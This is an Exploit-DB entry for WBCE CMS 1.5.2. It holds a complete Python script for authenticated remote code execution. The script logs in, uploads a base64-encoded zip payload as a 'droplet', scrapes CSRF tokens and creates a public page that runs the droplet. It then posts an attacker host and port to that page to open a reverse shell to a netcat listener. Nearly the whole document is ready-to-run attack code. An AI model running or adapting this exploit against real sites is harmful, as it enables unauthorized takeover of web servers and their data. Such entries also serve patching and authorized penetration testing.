WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)

EDB-ID:

50707

CVE:

N/A




Platform:

PHP

Date:

2022-02-04


# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: 1.5.2
# Tested on: Linux - PHP Version: 8.0.14
# Github repo: https://github.com/WBCE/WBCE_CMS

# -*- coding: utf-8 -*-
#/usr/bin/env python

import requests
import string
import base64
import argparse
import time
import io
from bs4 import BeautifulSoup #pip install beautifulsoup4

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

def main():
	parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)')
	parser.add_argument('-x', '--url', type=str, required=True)
	parser.add_argument('-u', '--user', type=str, required=False)
	parser.add_argument('-p', '--password', type=str, required=False)
	parser.add_argument('-ah', '--attacker_host', type=str, required=False)
	parser.add_argument('-ap', '--attacker_port', type=str, required=False)
	args = parser.parse_args()
	print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
	exploit(args, PAYLOAD)

def exploit(args, payload):
    s2 = requests.Session()

    #login
    body= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password}
    r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False)
    if(r.status_code==302 and r.headers['location'].find('/start/') != -1):
        print("[*] Login OK")
    else:
        print("[*] Login Failed")
        exit(1)

    time.sleep(1)
    
    #create droplet
    up = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")}
    r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up)
    if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1):
        print("[*] Droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)

    time.sleep(1)
    
    #get csrf token
    r = s2.get(args.url+'/admin/pages/index.php')
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
    
    #create page
    body= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''}
    r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False)
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        page_id = soup.findAll("script")[9].string.split("location.href='")[-1].split("\");")[0].split("'")[0].split("=")[1]
        print("[*] Page OK ["+page_id+"]")
    except:
        print("[*] Exploit Failed")
        exit(1)
    
    time.sleep(1)
    
    #get csrf token
    print("[*] Getting token")
    r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id)
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
    section_id = soup.find('input', {'name':'section_id'})['value']
        
    time.sleep(1)
    
    #add droplet to page
    body= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'}
    r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False)
    if(r.status_code==200 and r.text.find('Page saved') != -1):
        print("[*] Adding droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)    
    
    time.sleep(1)
    
    input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY")
    body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port}
    r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False)
    if(r.status_code==200):
        print("[*] Exploit OK - check your listner")
        exit(0)
    else:
        print("[*] Exploit Failed")
        exit(1)

if __name__ == '__main__':
	main()